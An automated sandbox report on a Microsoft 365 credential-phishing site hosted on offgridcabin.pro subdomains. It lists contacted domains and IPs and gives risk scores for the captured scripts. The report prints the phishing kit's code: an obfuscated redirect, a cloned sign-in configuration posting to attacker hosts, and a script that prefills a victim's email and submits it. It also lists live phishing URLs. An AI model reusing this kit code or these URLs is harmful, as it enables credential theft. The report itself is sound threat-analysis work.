https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	0%	Avira URL Cloud	safe
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	104.168.175.55	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro	104.168.175.55	true	true	unknown
challenges.cloudflare.com	104.18.94.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
h9dpo0p6josn24k1zb55eul40.offgridcabin.pro	104.168.175.55	true	false	unknown
5krws8ak62qxb0g1obajeynsc.offgridcabin.pro	104.168.175.55	true	false	unknown
identity.nel.measure.office.net	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/	false		high
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true	true		unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/GetCredentialType?mkt=en-US	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2	false		unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901845b24f0c41e0/1736801571848/cf365ea1c3afd24d26056b01e163d9a36502b94f8ff1044e4aef3ed84ca9b8f8/nV1cmFnZwT9F_47	false		high
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css	false		high
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901845b24f0c41e0&lang=auto	false		high
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/handlers/watson	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js	false	Avira URL Cloud: safe	unknown
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/Prefetch/Prefetch.aspx	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK	false		unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js	false		high
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901845b24f0c41e0/1736801571844/u7iXOjb4XhZghDQ	false		high
https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/Me.htm?v=3	false	Avira URL Cloud: safe	unknown
https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK?g=h5xUM2Q	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js	false		high
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js	false	Avira URL Cloud: safe	unknown
https://5krws8ak62qxb0g1obajeynsc.offgridcabin.pro/s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999.js	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	false	Avira URL Cloud: safe	unknown
https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://knockoutjs.com/	chromecache_100.3.dr, chromecache_98.3.dr, chromecache_103.3.dr, chromecache_101.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_114.3.dr	false	high
https://github.com/douglascrockford/JSON-js	chromecache_100.3.dr, chromecache_98.3.dr, chromecache_80.3.dr, chromecache_103.3.dr, chromecache_113.3.dr, chromecache_101.3.dr, chromecache_76.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_99.3.dr, chromecache_108.3.dr, chromecache_107.3.dr, chromecache_106.3.dr, chromecache_114.3.dr	false	high
https://fontawesome.com/license/free	chromecache_83.3.dr	false	high
http://gsgd.co.uk/sandbox/jquery/easing/	chromecache_89.3.dr, chromecache_87.3.dr	false	high
https://fontawesome.com	chromecache_83.3.dr	false	high
http://www.opensource.org/licenses/mit-license.php)	chromecache_100.3.dr, chromecache_98.3.dr, chromecache_103.3.dr, chromecache_101.3.dr, chromecache_82.3.dr, chromecache_95.3.dr, chromecache_108.3.dr, chromecache_114.3.dr	false	high
http://feross.org	chromecache_99.3.dr, chromecache_106.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
104.168.175.55	kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro	United States	54290	HOSTWINDSUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590283
Start date and time:	2025-01-13 21:51:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.win@18/66@32/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.185.78, 142.250.110.84, 172.217.18.14, 142.250.186.46, 216.58.206.78, 2.19.126.89, 2.19.126.84, 192.229.221.95, 199.232.210.172, 172.217.16.206, 142.250.185.174, 216.58.206.46, 142.250.184.234, 142.250.186.42, 142.250.186.170, 216.58.206.74, 142.250.186.106, 142.250.184.202, 142.250.186.138, 142.250.181.234, 172.217.18.10, 142.250.185.234, 142.250.185.138, 142.250.185.106, 216.58.206.42, 142.250.185.74, 172.217.16.202, 172.217.18.106, 142.250.185.142, 142.250.186.67, 2.16.238.149, 2.16.238.152, 23.219.128.174, 13.107.246.45, 4.245.163.56
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, slscr.update.microsoft.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, a1894.dscb.akamai.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, nel.measure.office.net.edgesuite.net, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/JLSQqjDK

Input	Output
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including the use of obfuscated URLs and redirecting to a suspicious domain. The combination of these factors suggests a high likelihood of malicious intent, potentially for phishing or other malicious activities." }
turnstile.ready(function () { turnstile.render('#cf-turnstile', { sitekey: '0x4AAAAAAA4sf2kw7YnXl1bZ', // replace this with your own sitekey callback: function(token) { window.location.assign('h' + 't' + 't' + 'ps:' + '/' + '/' + 'h' + 'v4q' + '6' + 'nqj' + '04' + 'o2' + 'dvm' + '9' + 'n2' + '2' + 'j' + 'nhi' + 'zw.' + 'o' + 'f' + 'fgr' + 'i' + 'dc' + 'abi' + 'n' + '.pr' + 'o/' + 'J' + 'L' + 'SQq' + 'jDK' + '?' + 'g=h' + '5x' + 'UM2' + 'Q'); }, }); });
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. While the script may have a legitimate purpose, such as preventing unauthorized framing, the lack of context and the use of obfuscated code raise significant security concerns." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(e.self===e.top){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and multiple fallback domains further increases the risk. While some context is provided, the overall behavior of this script is highly suspicious and indicative of malicious intent." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2fhv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQapllJ3Io84LZMu9UwwmZF_CxGzviczDKwylWMyoSN07_AyPiCkfEWk6B_UbpnSnixW2pKalFiSWZ-3gUWgVcsPAbMVhwcXAIMEgwKDD9YGBexAm2deGqJZdzb7757ft_0FjntzHCKVT_Nqcg1w83HqcTX1S8nu8LYN6mw3DEv2zSjyjjFrzgix7jU1NcrsjDMxNPA1tDKcAKb0AQ2plNsDB_YGDvYGWaxMxzgZNzAw3iAl-EHX-e0t-uPNJ195_GKXyclLDKnwNXf3D-1MDMl3MswP8rTzTHZwssz27W4qiDZLzvNNDDHPa8kMdnEdoMAwwMBBgA1\u0026estsfed=1\u0026uaid=183a968059da46c0a62b8531583ca85f\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026fci=https%3a%2f%2f5krws8ak62qxb0g1obajeynsc.offgridcabin.pro.orgid.com","urlMsaLogout":"https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/logout.srf?iframed_by=https%3a%2f%2fhv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro","urlOtherIdpForget":"https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/forgetme.srf?iframed_by=https%3a%2f%2fhv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro","showCantAccessAccountLink":true,"urlGitHubFed":"https://h9dpo0p6josn24k1zb55eul40.offgridcabin.pro/oauth20_authorize.srf?scope=openid+profile+email+offline_access\u0026response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2fhv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro%2fcommon%2ffederation%2foauth2msa\u0026state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAQapllJ3Io84LZMu9UwwmZF_CxGzviczDKwylWMyoSN07_AyPiCkfEWk6B_UbpnSnixW2pKalFiSWZ-3gUWgVcsPAbMVhwcXAIMEgwKDD9YGBexAm2deGqJZdzb7757ft_0FjntzHCKVT_Nqcg1w83HqcTX1S8nu8LYN6mw3DEv2zSjyjjFrzgix7jU1NcrsjDMxNPA1tDKcAKb0AQ2plNsDB_YGDvYGWaxMxzgZNzAw3iAl-EHX-e0t-uPNJ195_GKXyclLDKnwNXf3D-1MDMl3MswP8rTzTHZwssz27W4qiDZLzvNNDDHPa8kMdnEdoMAwwMBBgA1\u0026estsfed=1\u0026uaid=183a968059da46c0a62b8531583ca85f\u0026fci=https%3a%2f%2f5krws8ak62qxb0g1obajeynsc.offgridcabin.pro.orgid.com\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gi
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, redirects to suspicious domains, and the use of obfuscated code/URLs. While some contextual factors, such as the use of trusted domains and potential analytics/telemetry functionality, may suggest legitimate intent, the overall risk profile is still high due to the presence of multiple malicious indicators." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/","urlDefaultFavicon":"https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/login.srf?auth=2\u0026client-request-id=421ba847-1fd5-44ee-be0a-06e48a22c2c5\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=421ba847-1fd5-44ee-be0a-06e48a22c2c5","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=421ba847-1fd5-44ee-be0a-06e48a22c2c5","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=421ba847-1fd5-44ee-be0a-06e48a22c2c5\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=421ba847-1fd5-44ee-be0a-06e48a22c2c5\u0026origin=hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"scid":2001,"hpgact":2101,"hpgid":6,"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFe3q-XClMkROzBA_geOEM2bLzGJ3A0-SHsEIsOHP-D4dXC-ndsWCmyy6pyni2Lvdt2amKdg0ftTzlNEmLlhwVB7yK_UZQSLrOKUNyE6p7xZmUYCO8V6NFHToXS9IN0HfR3Qs-JUA4T2Uh9aWdtBvhLUnoIbxhvQxmbgJVPRVBOmsVJ0KvmP1410Vp9YDkHuZ9lcE5dILaX_eVr7nddLJygEiAA","canary":"fBrEhFLBtMENlkx3MbqwAnk5hz3dNsXl3u5MJYqV4I0=6:1:CANARY:9wC+TwxAXlHGNrDsYLKuY0Z43OA3SDa2uCN1udVFhuc=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"421ba847-1fd5-44ee-be0a-06e48a22c2c5","sessionId":"982078f0-c048-4667-94c5-fbe21b4b6200","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/instrumentation/reportpageload","dssostatus":"https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Chrome":1,"_Win":1,"_M117":1,"_D0":1,"Full":1,"Win81":1,"RE_WebKit":1,"b":{"name":"Chrome","major":117,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"117.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js","sbundle":"https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://kzlehb30j0qd36mbubox5j
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The script appears to be attempting to automatically fill in user credentials and submit a login form, which is a common phishing technique. Additionally, the script uses obfuscated code and base64 encoding, further raising suspicion. While the script may have a legitimate purpose, the overall behavior and implementation suggest a high risk of malicious intent." }
function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0]; var data2 = res[1]; console.log(data1); console.log(data2); if (emailId != null) { var decodedString = data2; if (/^[A-Za-z0-9+/=]+$/.test(data2)) { // check if string is base64 encoded try { decodedString = window.atob(data2.replace(/[=]/gi, '')); } catch (e) { console.error('Error decoding base64 string:', e); } } emailId.focus(); emailId.value = decodedString; nextButton.focus(); nextButton.click(); console.log("YES!"); return; } } setTimeout(function(){lp();}, 500); } setTimeout(function(){lp();}, 500);
URL: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a utility library for managing asynchronous script loading and execution. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The script primarily focuses on handling document ready and load events, as well as providing a simple API for registering and executing scripts. While it uses some legacy practices like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script seems to be a benign utility with no clear signs of malicious intent." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),arguments&&arguments.length>3){i.extraArgs=[];for(var a=3;a<arguments.length;a++){i.extraArgs.push(arguments[a])}}o.r[e]=i,o.lock++;try{for(var s=0;s<o.q.length;s++){var u=o.q[s];u.id==e&&r(e,u.c,u.a)&&o.removeItems.push(u)}}catch(e){throw 